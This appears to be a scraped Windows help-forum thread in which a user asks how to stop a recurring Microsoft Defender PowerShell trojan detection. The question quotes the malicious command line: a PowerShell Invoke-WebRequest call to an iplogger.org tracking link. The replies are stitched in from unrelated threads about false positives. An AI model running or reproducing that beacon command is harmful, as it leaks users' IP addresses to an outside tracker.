Windows 10: Microsoft Defender Detects powershell trojan

Discus and support Microsoft Defender Detects powershell trojan in AntiVirus, Firewalls and System Security to solve the problem; everytime i boot up my machine, windows defender detects this: CmdLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -command... Discussion in 'AntiVirus, Firewalls and System Security' started by CarterBurke1, Feb 28, 2021.

  1. CARTERBURKE1
    CarterBurke1 Win User

    Microsoft Defender Detects powershell trojan


    everytime i boot up my machine, windows defender detects this: CmdLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -command Invoke-WebRequest -URI https://iplogger.org/1hTS97 i remove it, but it justs keeps coming back, is there a fix for this?

    :)
     
    CarterBurke1, Feb 28, 2021
    #1
  2. CARLOS J. S. A.
    Carlos J. S. A. Win User

    Microsoft's Windows Defender detects trojans in Microsoft's Visual Studio Code???

    Hi,

    I'm using Visual Studio Code to work with different scripts and code files. But today Windows Defender detected a file as a "threat":

    Trojan: PowerShell/Peasecto.A
    Alert level: Severe

    Status: Active

    Recommended action: Remove the threat now.

    Category: Trojan

    Details: This program is dangerous and executes commands from an attacker.

    Learn more:

    https://go.microsoft.com/fwlink/?linkid=142185&name=&threatid=<2147725478>

    file: C:\Users\Carlos\.vscode\extensions\ms-vscode.powershell-1.5.1\modules\PSScriptAnalyzer\PSScriptAnalyzer.psd1

    So... Microsoft's Windows Defender detects Microsoft's extension as a virus now?

    Cheers
     
    Carlos J. S. A., Feb 28, 2021
    #2
  3. AFWS
    AFWS Win User
    Windows Defender detects an .exe as Win32/Bitrep.A Trojan?

    OK, I had this software(earlier version) on another computer and never had it detected as a Trojan. I tried installing the latest version of this software on my new computer and it got detected as "Win32/Bitrep.A" Trojan after about a week of being installed
    and Windows Defender deleted it. I tried re-downloading and then scanned the installation exe with Windows Defender and it detected it as the same Trojan. I then tried re-downloading again and Windows Defender deleted it as soon as it finished downloading.
    The earlier version installation exe wasn't detected as a Trojan. I also tried a update exe to the software that wasn't the same version and nothing was detected. It seems to be with this certain version of the software or the update to this version. The developer
    recommended installing the free version of Avast. Once installed, I scanned the installation exe with Avast and nothing was detected. Is there a Trojan with the software? According to Windows Defender there is. According to Avast there isn't.

    * Moved from Windows 10/Security
     
    AFWS, Feb 28, 2021
    #3
  4. SIMRICK
    simrick Win User

    Microsoft Defender Detects powershell trojan

    Trojan Detected in OneDrive


    Can I just make an observation here?

    From your pic, it appears that the executable OneDrive.exe has been flagged as a virus. This sounds like a FP (false positive) to me.

    I would suggest you upload that file to VirusTotal website and see what comes up there.

    I have the same file on my system in the same location and it's 536KB. I do not use OneDrive on this particular machine.

    I do not think you are infected with anything. Did TDSSKiller find anything on that file?
     
    simrick, Feb 28, 2021
    #4
Thema:

Microsoft Defender Detects powershell trojan

Loading...

  1. Microsoft Defender Detects powershell trojan - Similar Threads - Microsoft Defender Detects

  2. Powershell Trojan

    in Windows 10 Gaming
    Powershell Trojan: Hello !I recently got a Trojan that keeps reinstall itself even after antimalware malwarebytes cleaning .I can see it is attached to Windows Powershell. Any tips removing it for good ?Thanks !...

  3. Powershell Trojan

    in AntiVirus, Firewalls and System Security
    Powershell Trojan: Hello !I recently got a Trojan that keeps reinstall itself even after antimalware malwarebytes cleaning .I can see it is attached to Windows Powershell. Any tips removing it for good ?Thanks !...

  4. Powershell Trojan

    in Windows 10 Software and Apps
    Powershell Trojan: Hello !I recently got a Trojan that keeps reinstall itself even after antimalware malwarebytes cleaning .I can see it is attached to Windows Powershell. Any tips removing it for good ?Thanks !...

  5. Trojan in Windows Powershell

    in Windows 10 Gaming
    Trojan in Windows Powershell: Hello...I have a Trojan in my Powershell file. I've downloaded FRST.exe to create two reports but I need the fix file. https://answers.microsoft.com/en-us/windows/forum/all/trojan-in-windows-powershell/af51aac4-b6e7-4aeb-ab4e-984247e0ccbd

  6. How to uninstall PowerShell? Detected as trojan

    in Windows 10 Gaming
    How to uninstall PowerShell? Detected as trojan: Every time when my laptop is on I receive uncountable amount of virus alerts. All of them are saying that PowerShell is a trojan virus. How do I uninstall it or how do I fix the problem? Also the "Threat blocked" messages all the way to the bottom of this list are for...

  7. How to uninstall PowerShell? Detected as trojan

    in Windows 10 Software and Apps
    How to uninstall PowerShell? Detected as trojan: Every time when my laptop is on I receive uncountable amount of virus alerts. All of them are saying that PowerShell is a trojan virus. How do I uninstall it or how do I fix the problem? Also the "Threat blocked" messages all the way to the bottom of this list are for...

  8. Trojan detected

    in AntiVirus, Firewalls and System Security
    Trojan detected: Trojan detected on my PC: C:\Windows\Installer\W32/Trojan.DBH.gen!Eldorado - can anybody please help me? https://answers.microsoft.com/en-us/protect/forum/all/trojan-detected/6fc82ac0-6b75-4bb7-b7dd-3e94e95843b0

  9. Windows Defender Detecting Trojan

    in AntiVirus, Firewalls and System Security
    Windows Defender Detecting Trojan: i downloaded a book file yesterday and it got saved in DVD drive E when i opened it, it asked to run it to view files and i did it, after few hours window security was popping up saying threat detected and i ejected the file, but still the window security is popping up and...

  10. Microsoft defender ตรวจจับ Trojan ของโปรแกรม Powershell

    in AntiVirus, Firewalls and System Security
    Microsoft defender ตรวจจับ Trojan ของโปรแกรม Powershell: Microsoft defender แจ้งว่าตรวจพบ trojan:win32/tiger!plock จากโปรแกรม Powershell ในเครื่อง แต่ไม่สามารถสั่งลบออกไปได้ ไม่ทราบว่าจะแก้ปัญหาอย่างไรได้บ้างครับ https://answers.microsoft.com/en-us/windows/forum/all/microsoft-defender/45e9e091-5dec-40b4-9360-afaa6f94f1f5"

Users found this page by searching for:

  1. windows defender detect powershell